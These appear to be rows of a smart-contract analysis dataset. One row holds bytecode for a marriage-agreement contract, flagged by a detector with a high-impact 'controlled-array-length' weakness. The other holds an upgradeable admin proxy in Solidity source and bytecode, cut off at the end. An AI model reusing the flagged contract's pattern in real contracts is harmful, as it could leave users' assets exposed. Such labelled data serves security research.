0x606060405236156101f65763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663063cea2681146101fb5780630b6bf29f14610285578063133d27e11461029857806315d51761146102c75780631856a6df146102da5780631ea5efc4146102ed578063277942db146103145780632a11b950146103275780632ca1512214610447578063391b11ce1461045c5780634d7d8a60146104ad578063516f279e146104c057806352125b86146104d357806353176195146104f85780636033cdc61461050b578063705bbf6b1461051e578063777900811461056f5780637ae6b763146105c0578063802b1d931461061157806381f2d4ee1461062457806384b08d4114610675578063854e85c614610688578063899b3414146108235780638da5cb5b146108745780639b772524146108875780639e5f18891461089a578063a31f2c52146108ad578063ac12f3e9146108c0578063b53c71b6146108d3578063b61a98cb146109a8578063bb07576d146109f9578063c35740f914610a0c578063c586875414610a1f578063c6998dc214610a32578063c7e975b814610a83578063ce4d6fdf14610a96578063ea760df814610aa9578063eb2c87a414610abc578063ec56c6b014610acf578063f2fde38b14610ae2578063f41d1a8214610b01575b600080fd5b341561020657600080fd5b61020e610b14565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561024a578082015183820152602001610232565b50505050905090810190601f1680156102775780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561029057600080fd5b61020e610bb2565b34156102a357600080fd5b6102ab610c1d565b604051600160a060020a03909116815260200160405180910390f35b34156102d257600080fd5b61020e610c2c565b34156102e557600080fd5b61020e610c97565b34156102f857600080fd5b610300610d02565b604051901515815260200160405180910390f35b341561031f57600080fd5b61020e610d13565b341561033257600080fd5b61033d600435610d7e565b6040518381526060602082018181528454600260001961010060018416150201909116049183018290529060408301906080840190869080156103c15780601f10610396576101008083540402835291602001916103c1565b820191906000526020600020905b8154815290600101906020018083116103a457829003601f168201915b50508381038252845460026000196101006001841615020190911604808252602090910190859080156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b50509550505050505060405180910390f35b341561045257600080fd5b61045a610dab565b005b341561046757600080fd5b61045a60046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610f8995505050505050565b34156104b857600080fd5b61020e610ff5565b34156104cb57600080fd5b61020e611060565b34156104de57600080fd5b6104e66110cb565b60405190815260200160405180910390f35b341561050357600080fd5b61020e6110d1565b341561051657600080fd5b61045a61113c565b341561052957600080fd5b61045a60046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506112cc95505050505050565b341561057a57600080fd5b61045a60046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506113e295505050505050565b34156105cb57600080fd5b61045a60046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506115da95505050505050565b341561061c57600080fd5b61020e61167c565b341561062f57600080fd5b61045a60046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506116e795505050505050565b341561068057600080fd5b610300611786565b341561069357600080fd5b61069e600435611794565b604051848152608060208201818152855460026000196101006001841615020190911604918301829052906040830190606084019060a0850190889080156107275780601f106106fc57610100808354040283529160200191610727565b820191906000526020600020905b81548152906001019060200180831161070a57829003601f168201915b505084810383528654600260001961010060018416150201909116048082526020909101908790801561079b5780601f106107705761010080835404028352916020019161079b565b820191906000526020600020905b81548152906001019060200180831161077e57829003601f168201915b505084810382528554600260001961010060018416150201909116048082526020909101908690801561080f5780601f106107e45761010080835404028352916020019161080f565b820191906000526020600020905b8154815290600101906020018083116107f257829003601f168201915b505097505050505050505060405180910390f35b341561082e57600080fd5b61045a60046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506117c695505050505050565b341561087f57600080fd5b6102ab611828565b341561089257600080fd5b610300611837565b34156108a557600080fd5b6102ab611840565b34156108b857600080fd5b61030061184f565b34156108cb57600080fd5b61030061185f565b34156108de57600080fd5b61045a60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061186e95505050505050565b34156109b357600080fd5b61045a60046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506118cd95505050505050565b3415610a0457600080fd5b61045a61192f565b3415610a1757600080fd5b61020e611ab7565b3415610a2a57600080fd5b610300611b22565b3415610a3d57600080fd5b61045a60046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650611b3595505050505050565b3415610a8e57600080fd5b610300611b9d565b3415610aa157600080fd5b61020e611baf565b3415610ab457600080fd5b61020e611c1a565b3415610ac757600080fd5b61020e611c85565b3415610ada57600080fd5b6104e6611cf0565b3415610aed57600080fd5b61045a600160a060020a0360043516611cf6565b3415610b0c57600080fd5b61020e611d91565b600b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b820191906000526020600020905b815481529060010190602001808311610b8d57829003601f168201915b505050505081565b600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b600354600160a060020a031681565b600d8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b600e54640100000000900460ff1681565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b6014805482908110610d8c57fe5b6000918252602090912060039091020180549150600181019060020183565b60035433600160a060020a0390811691161480610dd6575060045433600160a060020a039081169116145b1515610de157600080fd5b60035433600160a060020a0390811691161415610ea557600e805460ff19166001179055610ea06040805190810160405280600f81526020017f4d61727269616765207369676e65640000000000000000000000000000000000815250606060405190810160405280602281526020017f536d61727420436f6e7472616374207369676e656420627920506172746e657281526020017f2031000000000000000000000000000000000000000000000000000000000000815250611dfc565b610f4f565b600e805461ff001916610100179055610f4f6040805190810160405280600f81526020017f4d61727269616765207369676e65640000000000000000000000000000000000815250606060405190810160405280602281526020017f536d61727420436f6e7472616374207369676e656420627920506172746e657281526020017f2032000000000000000000000000000000000000000000000000000000000000815250611dfc565b600e5460ff168015610f685750600e54610100900460ff165b15610f8757600e805466ff000000000000191666010000000000001790555b565b60005433600160a060020a0390811691161480610fb4575060045433600160a060020a039081169116145b8015610fd3575060065460026000196101006001841615020190911604155b1515610fde57600080fd5b6006818051610ff192916020019061243d565b5050565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b60118054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b60135481565b60108054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b60035433600160a060020a039081169116141561120357600e805464ff0000000019166401000000001790556112036040805190810160405280601c81526020017f566f7465202d204368616e6765204d61726974616c2053746174757300000000815250606060405190810160405280602981526020017f506172746e6572203120766f74656420746f2075706461746564204d6172697481526020017f616c205374617475730000000000000000000000000000000000000000000000815250611dfc565b60045433600160a060020a0390811691161415610f8757600e805465ff0000000000191665010000000000179055610f876040805190810160405280601c81526020017f566f7465202d204368616e6765204d61726974616c2053746174757300000000815250606060405190810160405280602981526020017f506172746e6572203220766f74656420746f2075706461746564204d6172697481526020017f616c205374617475730000000000000000000000000000000000000000000000815250611dfc565b60005433600160a060020a03908116911614806112f7575060035433600160a060020a039081169116145b80611310575060045433600160a060020a039081169116145b80156113295750600e5462010000900460ff1615156001145b80156113435750600e546301000000900460ff1615156001145b151561134e57600080fd5b600b81805161136192916020019061243d565b506113d2604080519081016040908152600f82527f557064617465202d205072656e7570000000000000000000000000000000000060208301528051908101604052601c81527f5072656e75707469616c2041677265656d656e742055706461746564000000006020820152611dfc565b50600e805463ffff000019169055565b60005433600160a060020a039081169116148061140d575060035433600160a060020a039081169116145b80611426575060045433600160a060020a039081169116145b80156114415750600e54640100000000900460ff1615156001145b801561145d5750600e5465010000000000900460ff1615156001145b151561146857600080fd5b6115b46040805190810160405280601681526020017f4d61726974616c207374617475732075706461746564000000000000000000008152506115af6040805190810160405280601c81526020017f4d61726974616c20737461747573206368616e6765642066726f6d200000000081525060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115705780601f1061154557610100808354040283529160200191611570565b820191906000526020600020905b81548152906001019060200180831161155357829003601f168201915b505050505060408051908101604052600481527f20746f2000000000000000000000000000000000000000000000000000000000602082015286611f8a565b611dfc565b60088180516115c792916020019061243d565b5050600e805465ffff0000000019169055565b60035433600160a060020a039081169116146115f557600080fd5b600c81805161160892916020019061243d565b50611679604080519081016040908152600d82527f557064617465202d2057696c6c0000000000000000000000000000000000000060208301528051908101604052601681527f506172746e657220312057696c6c2055706461746564000000000000000000006020820152611dfc565b50565b600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b60045433600160a060020a0390811691161461170257600080fd5b600d81805161171592916020019061243d565b50611679604080519081016040908152600d82527f557064617465202d2057696c6c0000000000000000000000000000000000000060208301528051908101604052601681527f506172746e657220322057696c6c2055706461746564000000000000000000006020820152611dfc565b600e54610100900460ff1681565b60128054829081106117a257fe5b60009182526020909120600490910201805491506001810190600281019060030184565b60005433600160a060020a03908116911614806117f1575060035433600160a060020a039081169116145b8061180a575060045433600160a060020a039081169116145b151561181557600080fd5b6009818051610ff192916020019061243d565b600054600160a060020a031681565b600e5460ff1681565b600454600160a060020a031681565b600e546301000000900460ff1681565b600e5462010000900460ff1681565b60005433600160a060020a0390811691161480611899575060035433600160a060020a039081169116145b806118b2575060045433600160a060020a039081169116145b15156118bd57600080fd5b6118c8838383611fb6565b505050565b60005433600160a060020a03908116911614806118f8575060035433600160a060020a039081169116145b80611911575060045433600160a060020a039081169116145b151561191c57600080fd5b600a818051610ff192916020019061243d565b60035433600160a060020a03908116911614156119f257600e805462ff00001916620100001790556119f26040805190810160405280601481526020017f566f7465202d20557064617465205072656e7570000000000000000000000000815250606060405190810160405280603081526020017f506172746e6572203120766f74656420746f2075706461746564205072656e7581526020017f707469616c204167677265656d656e7400000000000000000000000000000000815250611dfc565b60045433600160a060020a0390811691161415610f8757600e805463ff00000019166301000000179055610f876040805190810160405280601481526020017f566f7465202d20557064617465205072656e7570000000000000000000000000815250606060405190810160405280603081526020017f506172746e6572203220766f74656420746f2075706461746564205072656e7581526020017f707469616c204167677265656d656e7400000000000000000000000000000000815250611dfc565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b600e546601000000000000900460ff1681565b60005433600160a060020a0390811691161480611b60575060035433600160a060020a039081169116145b8015611b7f575060055460026000196101006001841615020190911604155b1515611b8a57600080fd5b6005818051610ff192916020019061243d565b600e5465010000000000900460ff1681565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b60155481565b60005433600160a060020a03908116911614611d1157600080fd5b600160a060020a0381161515611d2657600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610baa5780601f10610b7f57610100808354040283529160200191610baa565b6014805460018101611e0e83826124bb565b916000526020600020906003020160006060604051908101604090815242825260208201879052810185905291905081518155602082015181600101908051611e5b92916020019061243d565b50604082015181600201908051611e7692916020019061243d565b505050507fae56b0614107bf954efff11d443ef9b9432505024bad7d3a4d33bcc3cc5dcdd78282604051808060200180602001838103835285818151815260200191508051906020019080838360005b83811015611ede578082015183820152602001611ec6565b50505050905090810190601f168015611f0b5780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015611f41578082015183820152602001611f29565b50505050905090810190601f168015611f6e5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a15050601580546001019055565b611f926124e7565b611fad858585856020604051908101604052600081526121d1565b95945050505050565b6012805460018101611fc883826124f9565b9160005260206000209060040201600060806040519081016040908152428252602082018890528101869052606081018590529190508151815560208201518160010190805161201c92916020019061243d565b5060408201518160020190805161203792916020019061243d565b5060608201518160030190805161205292916020019061243d565b505050507ffc4639d1c1eb99ac0bd5e4e5b8df8f11d69675ddbfe12139e6712e931403c39483838360405180806020018060200180602001848103845287818151815260200191508051906020019080838360005b838110156120bf5780820151838201526020016120a7565b50505050905090810190601f1680156120ec5780820380516001836020036101000a031916815260200191505b50848103835286818151815260200191508051906020019080838360005b8381101561212257808201518382015260200161210a565b50505050905090810190601f16801561214f5780820380516001836020036101000a031916815260200191505b50848103825285818151815260200191508051906020019080838360005b8381101561218557808201518382015260200161216d565b50505050905090810190601f1680156121b25780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a1505060138054600101905550565b6121d96124e7565b6121e16124e7565b6121e96124e7565b6121f16124e7565b6121f96124e7565b6122016124e7565b6122096124e7565b6122116124e7565b6000808e98508d97508c96508b95508a94508451865188518a518c510101010160405180591061223e5750595b9080825280602002602001820160405250935083925060009150600090505b88518110156122b65788818151811061227257fe5b016020015160f860020a900460f860020a0283838060010194508151811061229657fe5b906020010190600160f860020a031916908160001a90535060010161225d565b5060005b8751811015612313578781815181106122cf57fe5b016020015160f860020a900460f860020a028383806001019450815181106122f357fe5b906020010190600160f860020a031916908160001a9053506001016122ba565b5060005b86518110156123705786818151811061232c57fe5b016020015160f860020a900460f860020a0283838060010194508151811061235057fe5b906020010190600160f860020a031916908160001a905350600101612317565b5060005b85518110156123cd5785818151811061238957fe5b016020015160f860020a900460f860020a028383806001019450815181106123ad57fe5b906020010190600160f860020a031916908160001a905350600101612374565b5060005b845181101561242a578481815181106123e657fe5b016020015160f860020a900460f860020a0283838060010194508151811061240a57fe5b906020010190600160f860020a031916908160001a9053506001016123d1565b50909d9c50505050505050505050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061247e57805160ff19168380011785556124ab565b828001600101855582156124ab579182015b828111156124ab578251825591602001919060010190612490565b506124b7929150612525565b5090565b8154818355818115116118c8576003028160030283600052602060002091820191016118c89190612542565b60206040519081016040526000815290565b8154818355818115116118c8576004028160040283600052602060002091820191016118c89190612579565b61253f91905b808211156124b7576000815560010161252b565b90565b61253f91905b808211156124b757600080825561256260018301826125be565b6125706002830160006125be565b50600301612548565b61253f91905b808211156124b757600080825561259960018301826125be565b6125a76002830160006125be565b6125b56003830160006125be565b5060040161257f565b50805460018160011615610100020316600290046000825580601f106125e45750611679565b601f01602090049060005260206000209081019061167991906125255600a165627a7a72305820c3d0db7c73295473428a4b0c7f4d9cc41477e83d24ebcef261f7ba5107e7b6730029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 4,012 |
0xd7800a3c48edd22f71e9a96926f627e41dd57dd8
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() virtual internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() virtual internal;
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract
return;
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
abstract contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() override internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() virtual override internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
//super._willFallback();
}
}
interface IAdminUpgradeabilityProxyView {
function admin() external view returns (address);
function implementation() external view returns (address);
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
//function _willFallback() virtual override internal {
//super._willFallback();
//}
}
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal {
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _admin, address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
|
0x6080604052600436106100745760003560e01c80638f2839701161004e5780638f2839701461016f578063cf7a1d77146101a2578063d1f5789414610261578063f851a4401461031757610083565b80633659cfe61461008b5780634f1ef286146100be5780635c60da1b1461013e57610083565b366100835761008161032c565b005b61008161032c565b34801561009757600080fd5b50610081600480360360208110156100ae57600080fd5b50356001600160a01b0316610371565b610081600480360360408110156100d457600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100ff57600080fd5b82018360208201111561011157600080fd5b8035906020019184600183028401116401000000008311171561013357600080fd5b5090925090506103ab565b34801561014a57600080fd5b50610153610458565b604080516001600160a01b039092168252519081900360200190f35b34801561017b57600080fd5b506100816004803603602081101561019257600080fd5b50356001600160a01b0316610495565b610081600480360360608110156101b857600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156101ec57600080fd5b8201836020820111156101fe57600080fd5b8035906020019184600183028401116401000000008311171561022057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061054f945050505050565b6100816004803603604081101561027757600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156102a257600080fd5b8201836020820111156102b457600080fd5b803590602001918460018302840111640100000000831117156102d657600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061057f945050505050565b34801561032357600080fd5b5061015361065f565b6103353361068a565b801561033f575036155b801561034d57506108fc5a11155b156103575761036f565b61035f610690565b61036f61036a6106e8565b61070d565b565b610379610731565b6001600160a01b0316336001600160a01b031614156103a05761039b81610756565b6103a8565b6103a861032c565b50565b6103b3610731565b6001600160a01b0316336001600160a01b0316141561044b576103d583610756565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610432576040519150601f19603f3d011682016040523d82523d6000602084013e610437565b606091505b505090508061044557600080fd5b50610453565b61045361032c565b505050565b6000610462610731565b6001600160a01b0316336001600160a01b0316141561048a576104836106e8565b9050610492565b61049261032c565b90565b61049d610731565b6001600160a01b0316336001600160a01b031614156103a0576001600160a01b0381166104fb5760405162461bcd60e51b81526004018080602001828103825260368152602001806108556036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610524610731565b604080516001600160a01b03928316815291841660208301528051918290030190a161039b81610796565b60006105596106e8565b6001600160a01b03161461056c57600080fd5b610576828261057f565b61045383610796565b60006105896106e8565b6001600160a01b03161461059c57600080fd5b6105a5826107ba565b80511561065b576000826001600160a01b0316826040518082805190602001908083835b602083106105e85780518252601f1990920191602091820191016105c9565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610648576040519150601f19603f3d011682016040523d82523d6000602084013e61064d565b606091505b505090508061045357600080fd5b5050565b6000610669610731565b6001600160a01b0316336001600160a01b0316141561048a57610483610731565b3b151590565b610698610731565b6001600160a01b0316336001600160a01b0316141561036f5760405162461bcd60e51b81526004018080602001828103825260328152602001806108236032913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561072c573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61075f816107ba565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6107c38161068a565b6107fe5760405162461bcd60e51b815260040180806020018281038252603b81526020018061088b603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f